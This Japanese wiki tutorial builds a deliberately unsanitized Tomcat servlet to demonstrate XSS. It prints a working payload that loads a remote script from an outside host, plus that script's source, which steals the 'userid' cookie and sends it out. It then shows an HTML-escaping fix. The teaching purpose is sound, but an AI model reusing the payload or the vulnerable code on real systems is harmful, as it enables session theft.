「Java/Tomcat/クロスサイトスクリプティング脆弱性を体験してみるサンプル」の編集履歴(バックアップ)一覧に戻る

Java/Tomcat/クロスサイトスクリプティング脆弱性を体験してみるサンプル - (2013/11/04 (月) 23:10:43) のソース

Tomcatでクロスサイトスクリプティングの脆弱性があるアプリを作成して、クロスサイトスクリプティングを体験、それからクロスサイトスクリプティング対策を実施するサンプルです。

* ■目次
#contents(fromhere=true)
* まずは脆弱性のあるサンプルソース
xss.jsp
 <%@ page language="java" contentType="text/html; charset=UTF8" pageEncoding="UTF-8" %>
 <html>
  <head>
    <title>Xssサンプル</title>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> 
  </head>
  <body>
  名前:<%= request.getAttribute("name") %><br>
  内容:<%= request.getAttribute("content")  %>
  <hr>
  <form action='<%=request.getContextPath()+"/xss"%>' method='GET'>
    お名前:<input type="text" name="name" value=''><br>
    内容:<textarea name="content"></textarea><br>
  </form>
  </body>
 </html>

Xss.java
 import java.io.*;
 import javax.servlet.*;
 import javax.servlet.http.*;
 
 public class Xss extends HttpServlet {
  @Override
  protected void doGet(HttpServletRequest req,
  HttpServletResponse resp) throws ServletException,
      IOException {
    // JSPに渡すパラメータ
    req.setAttribute("name", "");
    req.setAttribute("content", "");
 
    // クッキー設定
    resp.addCookie(new Cookie("userid", "hogehoge"));
    resp.addCookie(new Cookie("xss", "sample"));
 
    RequestDispatcher disp = req.getRequestDispatcher("/jsp/xss.jsp");
    disp.forward(req, resp);
  }
 
  @Override
  protected void doPost(HttpServletRequest req,
  HttpServletResponse resp) throws ServletException,
      IOException {
    // パラメータを処理
    req.setCharacterEncoding("UTF-8");
    String name = req.getParameter("name");
    if (name == null) name = "";
    String content = req.getParameter("content");
    if (content == null) content = "";
    content = content.replaceAll("\n", "<br>");
 
    // JSPに渡す
    req.setAttribute("name", name);
    req.setAttribute("content", content);
 
    RequestDispatcher disp = req.getRequestDispatcher("/jsp/xss.jsp");
    disp.forward(req, resp);
  }
 }
web.xml
 <?xml version="1.0" encoding="ISO-8859-1"?>
 <web-app xmlns="http://java.sun.com/xml/ns/javaee"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://java.sun.com/xml/ns/javaee
                      http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd"
  version="3.0">
  <servlet>
    <servlet-name>xss</servlet-name>
    <servlet-class>Xss</servlet-class>
  </servlet>
  <servlet-mapping>
    <servlet-name>xss</servlet-name>
    <url-pattern>/xss</url-pattern>
  </servlet-mapping>
 </web-app>
* サンプルの説明
・なんの変哲もない、画面からの入力をまた画面に表示する「掲示板もどき」なサンプルです。
・/xxx にアクセス(GET)するとクッキーに userid を設定します。
・・クッキーに userid が残っていればログイン中という判断
・・userid のルールはアルファベットの大文字小文字と 0 から 9 の数字とする。
・名前と内容を入力して送信(POST)すると名前と内容をJSPに表示します。

このサンプルを普通に使うと以下のようになります。
※submitボタンを省略しているので、名前のテキストボックスでエンターを押すとフォームの内容が送信されます。
>Before
>&ref(xss1.png)
>↓
>After
>&ref(xss2.png)
* ダメなところ
このサンプルの良くないところは、以下のパラメータを処理してJSPに渡す部分です。
    // パラメータを処理
    req.setCharacterEncoding("UTF-8");
    String name = req.getParameter("name");
    if (name == null) name = "";
    String content = req.getParameter("content");
    if (content == null) content = "";
    content = content.replaceAll("\n", "<br>");
 
    // JSPに渡す
    req.setAttribute("name", name);
    req.setAttribute("content", content);
教科書的に言えば、ここでパラメータの文字列から「<」「>」「&」「"」「'」の5種類をサニタイジングする必要があります。
ですが、今回のサンプルはまず脆弱性の体験が目的なのでサニタイジングは省略しています。
※厳密に言うと、クッキーに保存した userid でログインしていると判断するのも危険ですが今回は無視してください。

* クロスサイトスクリプティングをやってみよう1
まずは以下のように内容に「<script>alert(document.cookie)</script>」と入力してみましょう。このスクリプトは、クッキーの内容をダイアログに表示するスクリプトです。
>&ref(xss3.png)
>↓
>&ref(xss4.png)
はい、サニタイジングしてないので見事にスクリプトが動作してクッキーの内容が表示されました。
※クッキーはローカルに保存されるので、このようなスクリプトを使わなくても確認できます。
内容から、 userid がログインに使うIDだとわかるので、これを盗むスクリプトを動作させてみましょう。

* クロスサイトスクリプティングをやってみよう1
次は以下のスクリプトを打ち込んでフォームを送信しましょう。
><script>var tag = document.createElement("script");tag.setAttribute("src","http://www46.atpages.jp/chapati/xss/sample1.js");document.getElementsByTagName("body").item(0).appendChild(tag);</script>
以下のようなダイアログが表示されればXSS攻撃成功です。
>&ref(xss5.png)
上記のスクリプトは、攻撃者が用意したスクリプト「http://www46.atpages.jp/chapati/xss/sample1.js」を実行させるものです。
http://www46.atpages.jp/chapati/xss/sample1.jsの中身は以下のようになっています。
 // クッキーからログインIDを抜き出す
 var userid = document.cookie.match(/userid=[a-zA-Z0-9]+/).toString().substring(7);
 // 攻撃サイトのURLにログインIDを追加し攻撃URLを作成
 var url = "http://www46.atpages.jp/chapati/xss/" + userid;
 // スクリプトタグを作成
 var tag = document.createElement("script");
 // src属性に攻撃URLを設定
 tag.setAttribute("src",url);
 // bodyタグにスクリプトタグを追加
 document.getElementsByTagName("body").item(0).appendChild(tag);
このスクリプトは、コメントにもあるとおり、クッキーからログインIDを抜き出し、ログインIDをURLに追加して攻撃者の用意したサイトにアクセスさせます。
今回のサンプルでは、ログインIDは「hogehoge」なので、「http://www46.atpages.jp/chapati/xss/hogehoge」にアクセスが発生すれば、攻撃者はURLからログインIDを取得できてしまいます。
※今回は「XSS攻撃成功!」と表示するスクリプトを埋め込んでいますが、実際に攻撃されたときはそんなダイアログはでません。

* クロスサイトスクリプティング対策をしてみよう
Xss.java(対策後)
 import java.io.*;
 import javax.servlet.*;
 import javax.servlet.http.*;
 
 public class Xss extends HttpServlet {
  @Override
  protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException,
      IOException {
    // JSPに渡すパラメータ
    req.setAttribute("name", "");
    req.setAttribute("content", "");
 
    // クッキー設定
    resp.addCookie(new Cookie("userid", "hogehoge"));
    resp.addCookie(new Cookie("xss", "sample"));
    
    RequestDispatcher disp = req.getRequestDispatcher("/jsp/xss.jsp");
    disp.forward(req, resp);
  }
 
  @Override
  protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException,
      IOException {
    // パラメータを処理
    req.setCharacterEncoding("UTF-8");
    String name = req.getParameter("name");
 //    if (name == null) name = "";
    name = escapeHTML(name);// ★★★ 修正点 ★★★
    String content = req.getParameter("content");
 //    if (content == null) content = "";
    content = escapeHTML(content);// ★★★ 修正点 ★★★
    content = content.replaceAll("\n", "<br>");
 
    // JSPに渡す
    req.setAttribute("name", name);
    req.setAttribute("content", content);
 
    RequestDispatcher disp = req.getRequestDispatcher("/jsp/xss.jsp");
    disp.forward(req, resp);
  }
  
  //★★★ 修正点 ★★★
  public static String escapeHTML(String val) {
    if (val == null) return "";
    val = val.replaceAll("&", "& amp;");
    val = val.replaceAll("<", "& lt;");
    val = val.replaceAll(">", "& gt;");
    val = val.replaceAll("\"", "&quot;");
    val = val.replaceAll("'", "&apos;");
    return val;
  }
 }

修正点は「<」「>」「&」「"」「'」をそれぞれ「& lt;」「& gt;」「& amp;」「&quot;」「&apos;」に変換する関数「escapeHTML」を追加したのと、「name」「content」パラメータを escapeHTML でサニタイジングしていることです。※wikiの表示の都合で & の後に半角スペース入れています。